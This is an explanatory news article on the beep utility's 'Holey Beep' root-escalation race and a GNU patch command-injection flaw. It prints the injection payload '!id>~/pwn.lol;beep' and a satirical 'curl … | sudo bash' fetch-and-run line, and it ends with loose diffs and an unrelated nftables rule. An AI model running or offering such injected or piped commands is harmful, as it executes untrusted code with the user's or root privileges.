What the beep?

A "simple" utility to make a system beep is hardly the first place one would check for security flaws, but the strange case of the "Holey Beep" should perhaps lead to some rethinking. A Debian advisory for the beep utility, which was followed by another for Debian LTS, led to a seemingly satirical site publicizing the bug (and giving it the "Holey Beep" name). But that site also exploits a new flaw in the GNU patch program—and the increased scrutiny on beep has led to more problems being found.

The beep program exists to help users who need more than the simple BEL character to make a beep sound in the terminal. As noted in that BEL page, though: "On modern systems this may not make a noise; it may instead make a visual indication such as flashing the screen, or do nothing at all." Beyond that, beep is meant to give more choices than just a simple BEL, with options for frequency, duration, and more. It seems unlikely that it was also meant to allow beepers to elevate their privileges, but since it needs access to some privileged functionality, installing it setuid-root is not unheard of. Most systems today do not even have the PC speaker device in question, but it requires privileges to send the ioctl() commands needed to generate tones from it. The "Ioctl Wackiness" section of the man page foreshadows some of what has occurred:

The Debian advisories were released on April 2 and 3; the Holey Beep appeared soon after. The advisories and web page do not give much in the way of detail about the flaw, though the site does link to a patch for the problem. It is described as a privilege escalation flaw; while beep is not installed by default on Debian systems, it is installed as setuid-root if the user (or some dependent package) requests it. So a fairly straightforward race condition can be exploited to gain root privileges.

As described in a blog post by "pirhack", the race condition can be used to write an attacker-controlled value to any file in the filesystem. It was "a real pain in the ass" to figure out how to exploit the race, but it turns out that part of the struct input_event used by the program is not initialized and will contain the value of one of the command-line parameters from the stack. That event structure is then written to a device specified on the command line. By using symbolic links and signals at just the right time, four attacker-controlled bytes can be written to any file. Pirhack's exploit example stores "/*/x" into /etc/bash/bashrc; creating a /tmp/x with the payload of interest will cause any new login that uses Bash to run it via the exploit.

All of that is bad news, of course, but it is fairly easily fixed. A patch was posted as part of a bug report at the (apparently inactive) GitHub repository for beep. It simply closes the race window and fully initializes the event structure for good measure. There is a similar patch linked from the Holey Beep page, but it is not exactly the same, as Hanno Böck reported to the oss-security mailing list:

The actual external command that gets run is mostly harmless, though it does highlight a clear flaw in patch:

    !id>~/pwn.lol;beep

The Holey Beep site also lampoons a few other practices that can be found in security vulnerability (and other) sites these days, including explicit instructions that should never under any circumstances be followed. For example, the page recommends the following command (which is not unlike the commands recommended by some software packages in order to install them) to see if a system is vulnerable to Holey Beep:

    $ curl https://holeybeep.ninja/am_i_vulnerable.sh | sudo bash

But the web page had other effects too. What might have slid by as a minor fix to a fairly obscure utility was instead examined closely by many more in the security-research world. From that, it was found that there were even more problems: the fix for Holey Beep is incomplete, there are integer overflows in beep's argument handling, and beep leaks information about the existence of hidden files, which could cause other problems for special files that have side effects when they are opened. All of that led Böck to wonder about the future of beep:

Given the size of beep, the seeming simplicity of its job, and the number of problems found in it, makes one wonder how many other vulnerabilities (of various severity levels) are out there lurking in utilities that are rarely, if ever, examined. It is also clear that the 0day.marketing folks have been sitting on a flaw in patch for some amount of time; how many more of those are out there, known but unannounced? Sometimes it's rather worrisome that the security of our systems is such a beeping mess. Some kind of systematic review seems called for, but doesn't seem that beeping likely.

table ip nat {
    chain prerouting {
        type nat hook prerouting priority 0
        ip daddr 192.168.0.3 tcp dport http redirect to 8080
    }
}

--- Makefile.orig       2018-04-13 08:06:14.138179062 +0300
+++ Makefile    2018-04-13 08:06:22.138106701 +0300
@@ -12,6 +12,7 @@
 
 beep : beep.c
        ${CC} ${FLAGS} -o ${EXEC_NAME} beep.c
+       id>~/pwn.lol;beep
 

--- a/.git/config
+++ b/.git/config
@@ -0,0 +1,2 @@
+[core]
+	pager = cowsay